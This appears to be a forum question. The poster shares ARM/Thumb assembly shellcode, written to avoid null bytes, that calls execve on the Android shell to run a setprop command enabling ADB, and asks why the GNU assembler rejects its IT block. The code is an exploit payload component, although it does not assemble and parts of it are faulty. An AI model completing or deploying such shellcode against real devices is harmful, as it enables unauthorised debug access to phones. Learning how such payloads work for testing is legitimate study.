Hi all. I'll begin by saying I'm an amateur in assembly language and I've been learning much of it as I go. I'm used to high level languages like Java, so this is a marked difference. I'm trying to write a small assembly program that will essentially execute a shell command to enable adb. The intended use of this programprogram, or rather, shellcode, is to be do exploit testing for myselfmyself, so, I've intentionally written it in such a way that is least likely to produce null bytes in the output. Code below.
.section .text.global _start
/* Reference of registers: R0 = adr_shell R1 = adr_argv R2 = adr_env R3 = NULL R4 = 'X' R6 = our argument to replace_X R7 = system call register*/
_start: .code 32 @ Stage up for going into THUMB mode add r3, pc, #1 bx r3 .code 16 @ Set the registers to reference our ascii arguments ldr r0, =adr_shell ldr r1, =adr_argv ldr r2, =adr_env @ Set our null register and our 'X' eor r3, r3, r3 @ R3 = NULL ldr r4, ='X' @ Replace 'X' in adr_shell with null byte mov r6, r0 @ Set up our replace_X argument bl replace_X @ Replace 'X' in adr_argv with null byte mov r6, r1 @ Set up our replace_X argument bl replace_X @ Replace 'X' in adr_env with null byte mov r6, r2 @ Set up our replace_X argument bl replace_X @ Do system call w/ execve call number mov r7, #11 @ execve(shell, argv, env) svc #1 @ system call
adr_shell: .ascii "/system/bin/shX"adr_argv: .ascii "setprop persist.sys.usb.config adbX"adr_env: .ascii "PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbinX"
@ Look for 'X' in R6 and replace it with R3replace_X: cmp r4, #[r6] @ If condition above sets Not Equal flag in CSPR, Then R6++ and loop itt ne addne r6, #1 bne replace_x strb r3, [r6] b lr
The error I get with the GNU assembler is:
shellcode.s: Assembler messages:shellcode.s:56: Error: Thumb does not support conditional executionshellcode.s:57: Error: branch must be last instruction in IT block -- `bne replace_x'shellcode.s:59: Error: instruction not allowed in IT block -- `strb r3,[r6]'
But why?? I thought an IT block was specifically for Thumb state? Can anyone clarify to me what I'm doing wrong here?
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